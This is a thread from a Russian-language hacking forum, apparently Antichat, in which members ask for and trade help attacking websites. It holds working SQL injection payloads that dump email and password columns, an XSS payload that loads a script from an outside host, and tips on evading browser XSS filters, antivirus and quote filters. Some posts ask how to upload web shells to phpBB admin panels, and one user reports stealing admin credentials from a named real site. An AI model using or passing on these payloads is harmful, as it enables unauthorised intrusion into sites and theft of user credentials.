Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Можно, но он фильтруется. К примеру ф-цией intval().
     
    #17561 Tigger, 8 Aug 2011
    Last edited: 8 Aug 2011
  2. nikon2k

    nikon2k Banned

    Joined:
    1 Aug 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    а с char() тоже не получится?
     
  3. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    можно всё что хочешь туда добавить, но как сказали выше - там стоит фильтр. Что-то типа /\d+/ или же (int)$_GET['some_param']. А ранее проверяется на вхождение в строку кавычки.

    upd.
    ты к нормальной("существующей") странице добавь какие-нить буквы/символы. Если отображается всё тоже самое, то там стоит фильтр.
     
    #17563 Melfis, 8 Aug 2011
    Last edited: 8 Aug 2011
  4. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Фильтр пропускает только числа.
    http://gigwarez.ru/page/12,34,45/ => 12
    http://gigwarez.ru/page/12blabla/ => 12
     
  5. ISkateL!

    ISkateL! Member

    Joined:
    5 Mar 2007
    Messages:
    15
    Likes Received:
    9
    Reputations:
    0
    Code:
    http://site.ru/?a=10\"<script src='http//site.co.cc/xss.js'></script>
    1)как обойти в данном случае фильтр на сервере? Пробел не проходит (точнее не фильтр, а какая то странная ошибка c обрубанием ссылки после пробела и вывода текста: [Bad Request
    Your browser sent a request that this server could not understand.

    The request line contained invalid characters following the protocol string.]
    Вариант замены пробела на "/" или "/**/" не проходит в chrome, что обидно :( Во всех остальных браузерах срабатывает.

    2) как обойти xss фильтр в IE8 в данном случае?

    3) как обойти в данном случае антивирус ESET Nod 32? На домены вида *.co.cc он ругается :(

    Подскажите варианты :)

    P.S. Также нельзя использовать ";", возможно ещё что-то.
     
  6. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Ситуация следующая, на ресурсе присутствует sql-иньекция.
    Подскажите как вывести всю нужную информацию, а не только часть?
    Пример запроса:
    test.ru/test.php?id=-40+union+select+1,group_concat(0x3a,mail,pwd),3,4,5,6,7,8,9+from+members--
     
  7. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    test.ru/test.php?id=-40+union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(members)where(0x00)in(@x:=concat(@x,0x3c62723e,mail,0x3a,pwd))))x),3,4,5,6,7,8,9--+
     
    _________________________
    1 person likes this.
  8. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    спасибо, вот только серв упал :D
    Возможно ли вывести данные по частям? Чтобы не сильно нагружать сервер.
    Пробовал использовать limit, но безрезультатно
     
  9. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Получаемый массив данных не должен превышать одного мегабайта, иначе тянуть только стандартными методами.
     
    _________________________
    1 person likes this.
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    а что тебе мешает спарсить данные в цикле лимита?
    элементарный парсер на пхп, указываешь максимальный лимит и все, стукни в пм с ссылкой, подкину тебе парсер настроенный под твой сайт.
     
    _________________________
  11. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Charles.
     
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    Где-то читал, что с какой-то версии php нуллбайт в файловых функциях(чтение, инклюд, запись, аплоад) больше не работает.
    Так ли это? Если да, то с какой именно версии?
     
  13. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Тут вопрос такой)
    http://www.gilmanpastor.com/admin/login.php
    Достал через скуль мыльники и пассы админов...
    Но войти не могу в админку...
    Что за третее поле не могу понять
    пост параметр byteme
    что в него вводить хз) в бд ничего не нашол = \
     
  14. ne0k

    ne0k New Member

    Joined:
    3 Mar 2011
    Messages:
    51
    Likes Received:
    1
    Reputations:
    0
    Есть ли тут скуль? И можно ли в наше время обойти intval() и просто одинокий (int)?

    PHP:
        $albumID = (int) $_POST['act_album'];
            
        if (
    $_POST['update']){
            
            
    check_admin_referer('ngg_album');
            
            if (
    $_POST['newalbum']){ 
                
    $newalbum attribute_escape($_POST['newalbum']);
                
    $result $wpdb->query("INSERT INTO $wpdb->nggalbum (name, sortorder) VALUES ('$newalbum','0')");
                if (
    $resultnggGallery::show_message(__('Update Successfully','nggallery'));
            } 
            
            if (
    $albumID 0){
                
    // get variable galleryContainer 
                
    parse_str($_POST['sortorder']); 
                if (
    is_array($gid)){ 
                    
    $serial_sort serialize($gid); 
                    
    $wpdb->query("UPDATE $wpdb->nggalbum SET sortorder = '$serial_sort' WHERE id = $albumID ");
                } else {
                    
    $wpdb->query("UPDATE $wpdb->nggalbum SET sortorder = '0' WHERE id = $albumID ");
                }
                
    nggGallery::show_message(__('Update Successfully','nggallery'));
            } 
        }
     
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    то на сколько я понимаю у тебя уязвимость в переменной $albumID так как она никак не фильтруется, следовательно можно выполнить SQL-инекцию
     
    _________________________
  16. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Хе-хе, ты ошибаешься.
    PHP:
    $albumID = (int) $_POST['act_album'];
    В переменную albumID не попадет ничего кроме чисел.

    PHP:
    $newalbum attribute_escape($_POST['newalbum']);
    Если я правильно нагуглил эту ф-цию из WP, то и тут тоже скули нету.

    intval() можно обойти только если он присутствует в условии, к примеру такой код:

    PHP:
    <?php
    $id 
    $_GET['id'];
    if( 
    intval($id) ) // if( (int)$id )
        
    echo $id;
    else
        echo 
    'error';            
    ?>
    Exp: .php?id=123'
    Return: 123'
    Если наш параметр начинает с числа, то intval() пропустит и в самом запросе переменная уже не фильтруется => SQL-inject возможен при таком условии.
    С is_numeric такое не прокатит.

    PHP:
                if (is_array($gid)){  
                    
    $serial_sort serialize($gid);  
                    
    $wpdb->query("UPDATE $wpdb->nggalbum SET sortorder = '$serial_sort' WHERE id = $albumID ");
    А вот здесь вот провести SQL-inject вполне возможно...
    При условии что $gid можно манипулировать или переопределить через register_globals.
    Вот проверил на локалке с таким кодом:
    PHP:
    <?php
    $gid 
    $_GET['id'];
    if (
    is_array($gid)){  
                    
    $serial_sort serialize($gid); 
    }
    echo 
    "UPDATE SET sortorder = '".$serial_sort."' WHERE id = 1 ";
    ?>
    Exp: test.php?id[]=asd";}'+WHERE+id=1--+
    Return: UPDATE SET sortorder = 'a:1:{i:0;s:21:"asd";}' WHERE id=1-- ";}' WHERE id = 1
    Need: magic_quotes=off

    Комментом мы обрезали оставшийся кусок и в принципе должно работать...
     
    #17576 Tigger, 9 Aug 2011
    Last edited: 10 Aug 2011
    5 people like this.
  17. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Народ) 2 вопроса...
    Вообщем первый по phpbb 3.0.7-PL1 залитие шелла через админ панель
    Де то вычитал способ через востановление бд.. но тут трабла
    Захожу в Maintenance
    ----------
    Database>
    Restore
    Получаю текст
    Code:
    There are no items yet.
    т.е. как я понял востановить бд нельзя...
    Просто есть пару админок пхпбб) незнаю как залить шелл... = \
    2. Вопрос...и совершенно другой хост
    Вообщем есть скуль... читение фалов через скуль и т.д. но только через CHAR. Как я понял safe_mode ON
    Так же есть доступ к PMA, знаю полный путь к папкам доступным на запись... подскажите как залить шелл...
    просто не сталкивался с safe_mode ON
     
    1 person likes this.
  18. ne0k

    ne0k New Member

    Joined:
    3 Mar 2011
    Messages:
    51
    Likes Received:
    1
    Reputations:
    0
    инклуд не инклуд

    Наткнулся на код, в котором значение из $_GET напрямую передается в класс PhpThumbFactory::create.. В этом классе происходит проверка на валидность входного IMG файла.. Т.е, если я подставляю:
    ?filename=/../../1.jpg , отображается соответственно сама картинка, находящаяся в корне.. При попытке прочитать реальную JPG, GIF, PNG, читается из любого места.. А вот прочитать файл другого формата не удается, все это проверяется, и мозгов у меня пока не хватает, чтобы сделать какие либо выводы..


    PHP:
    <?php
    //reference thumbnail class
    require_once('includes/thumbs/ThumbLib.inc.php');
    if (!isset(
    $_GET['filename'])) {
        exit;
    }
    if (isset(
    $_GET['width']) && is_numeric($_GET['width'])) {
        
    $width $_GET['width'];
    } else {
        
    $width 0;
    }
    if (isset(
    $_GET['height']) && is_numeric($_GET['height'])) {
        
    $height $_GET['height'];
    } else {
        
    $height 0;
    }
        
    $thumb PhpThumbFactory::create($_GET['filename'], array(), false1);
        
    $thumb->resize($width,$height);
        
    $thumb->show();
        
    $thumb->destruct();

    ?>
    Существуют ли методы обхода, или как можно заставить PHP код выполниться в реальном IMG файле? И вообще, уязвимость ли это, или просто фича?

    php 5.3.6

    З.ы.:magic_quotes_gpc=Off,
    З.ы.ы.: Проверка идет по mime типу и еще по нескольким параметрам..
     
    #17578 ne0k, 10 Aug 2011
    Last edited: 10 Aug 2011
  19. .:GOGA:.

    .:GOGA:. Member

    Joined:
    28 Jun 2010
    Messages:
    93
    Likes Received:
    9
    Reputations:
    5
    Есть Бд с именем fotoforum
    Делаю запрос
    PHP:
    table_name+from+information_schema.tables+where+table_schema=fotoforum
    Он возвращает ответ Unknown column 'fotoforum' in 'where clause' Как это понять??
     
    #17579 .:GOGA:., 10 Aug 2011
    Last edited: 10 Aug 2011
  20. ne0k

    ne0k New Member

    Joined:
    3 Mar 2011
    Messages:
    51
    Likes Received:
    1
    Reputations:
    0
    Нужно так:
    Code:
    SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='fotoforum'
    Если же фильтруются кавычки, можно зачарить:
    Code:
    SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=CHAR(102,111,116,111,102,111,114,117,109)
     
    #17580 ne0k, 10 Aug 2011
    Last edited: 10 Aug 2011
Thread Status:
Not open for further replies.